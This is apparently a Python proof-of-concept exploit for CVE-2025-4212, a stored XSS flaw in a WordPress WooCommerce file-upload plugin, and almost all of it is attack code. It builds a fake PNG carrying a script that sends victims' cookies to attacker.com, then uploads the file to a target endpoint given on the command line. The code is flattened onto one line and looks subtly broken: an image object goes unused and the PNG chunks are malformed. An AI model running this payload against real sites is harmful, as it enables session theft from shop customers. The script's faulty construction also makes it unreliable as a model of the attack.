CVE-2025-4212 WordPress Checkout Files Upload插件存储型XSS漏洞

import requests import io from PIL import Image import argparse def create_xss_image(): """ Create a malicious image file with embedded XSS payload This PoC demonstrates the vulnerability in Checkout Files Upload for WooCommerce plugin """ # XSS payload embedded in image metadata xss_payload = '<script>document.location="https://attacker.com/steal?cookie="+document.cookie</script>' # Create a simple PNG image img = Image.new('RGB', (100, 100), color='red') # Method 1: Embed payload in PNG tEXt chunk img_bytes = io.BytesIO() # Create malicious PNG with embedded script # The plugin does not sanitize image metadata properly malicious_data = b'\x89PNG\r\n\x1a\n' # PNG signature malicious_data += b'\x00\x00\x00\rIHDR\x00\x00\x00\x64\x00\x00\x00\x64\x08\x02\x00\x00\x00' malicious_data += xss_payload.encode() return malicious_data def upload_exploit(target_url, image_data): """ Upload malicious image to vulnerable WordPress site """ files = { 'file': ('malicious_image.png', image_data, 'image/png') } try: response = requests.post(target_url, files=files, timeout=10) print(f'[+] Upload attempt completed. Status: {response.status_code}') return response except requests.exceptions.RequestException as e: print(f'[-] Upload failed: {e}') return None if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-4212 PoC') parser.add_argument('--url', required=True, help='Target upload endpoint URL') args = parser.parse_args() print('[+] Generating malicious image...') payload = create_xss_image() print(f'[+] Uploading to {args.url}') upload_exploit(args.url, payload)